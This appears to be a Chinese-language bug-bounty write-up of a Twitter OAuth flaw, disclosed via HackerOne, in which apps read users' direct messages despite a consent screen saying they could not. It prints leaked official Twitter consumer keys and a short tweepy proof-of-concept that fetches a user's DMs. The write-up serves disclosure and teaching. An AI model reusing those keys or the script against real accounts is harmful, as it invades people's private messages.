挖洞经验 | OAuth授权不当导致的Twitter私信读取漏洞($2,940)
字数 1369 2025-08-18 11:37:50
OAuth授权不当导致的Twitter私信读取漏洞分析
漏洞概述
2019年披露的Twitter OAuth授权漏洞允许第三方应用在用户不知情的情况下读取用户的私信(Direct Messages),尽管授权界面明确声明"不会读取用户的推特私信"。该漏洞源于2013年泄露的Twitter官方应用API密钥仍可被利用,以及Twitter授权流程中的设计缺陷。
漏洞背景
OAuth授权机制
- Twitter使用OAuth协议进行第三方应用授权
- 授权界面会显示应用"将能够"(will be able to)和"不会执行"(will not be able to)的操作
- 界面明确声明不会读取用户私信,但实际上可以
历史问题
- 2013年Twitter官方应用API密钥泄露(包括Twitter for Android、Twitter for iPhone等)
- 泄露的密钥被公开在GitHub上
- 这些密钥仍可用于API访问
漏洞细节
主要问题点
-
密钥泄露持续影响:2013年泄露的官方API密钥仍有效
- Consumer Key:
IQKbtAYlXLripLGPWd0HUA - Consumer Secret:
GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU
- Consumer Key:
-
授权界面误导:授权界面声称不会读取私信,但实际上可以
-
PIN码验证流程缺陷:
- 对于无法嵌入浏览器的应用(命令行、嵌入式系统等),Twitter使用7位PIN码验证
- PIN码验证流程未完整显示应用将获得的权限
- 用户输入PIN码后,应用可获得完整访问权限
技术原理
- 使用泄露的官方密钥可以绕过常规的OAuth限制
- 通过PIN码验证流程获取access_token后,应用可以访问所有API功能
- 包括明确声明不可访问的私信功能
漏洞验证(PoC)
以下是验证该漏洞的Python代码示例:
#!/usr/bin/env python
import tweepy
# 使用泄露的官方密钥
consumer_key = 'IQKbtAYlXLripLGPWd0HUA'
consumer_secret = 'GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU'
# 设置授权
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.secure = True
auth_url = auth.get_authorization_url()
print('Visit this URL and authorise the app to use your Twitter account: ' + auth_url)
# 授权URL声称无法访问私信
verifier = input('Type in the generated PIN: ').strip()
auth.get_access_token(verifier)
# 完整授权
full_auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
full_auth.set_access_token(auth.access_token, auth.access_token_secret)
api = tweepy.API(full_auth)
# 打印用户所有私信 - 尽管授权界面声称不能
print(api.direct_messages())
漏洞修复与响应
Twitter的初始回应
- 承认关注第三方应用可能未经同意访问用户数据的问题
- 解释iOS和Android应用未显示同意对话框是因为OAuth是技术细节而非授权会话
- 声称已停用Twitter for Google TV应用
- 承诺审查其他第三方应用
最终立场
- 否认PIN码或OAuth流程会对用户造成误导
- 声称没有证据表明用户数据被未授权读取
- 但最终支付了$2,940漏洞奖金
- 漏洞被HackerOne归类为"隐私侵犯"
时间线
- 2018-11-06: 通过HackerOne上报漏洞
- 2018-11-06: 提供额外技术细节和PoC
- 2018-11-15: 因美国假期延迟处理
- 2018-11-16: Twitter奖励$2,940
- 2018-12-06: Twitter修复漏洞
- 2018-12-14: 漏洞公开披露
安全启示
- 密钥管理:API密钥泄露会造成长期安全隐患,应及时轮换失效
- 权限声明准确性:授权界面声明的权限必须与实际权限严格一致
- 替代验证流程:PIN码等替代验证方式应提供与主流程相同的权限透明度
- 用户隐私保护:在GDPR等法规下,企业需更严格保护用户数据隐私
- 第三方应用审核:需持续监控和审核第三方应用的权限使用情况
该漏洞展示了OAuth实现中的常见陷阱,特别是在处理历史遗留问题和替代验证流程时的安全隐患。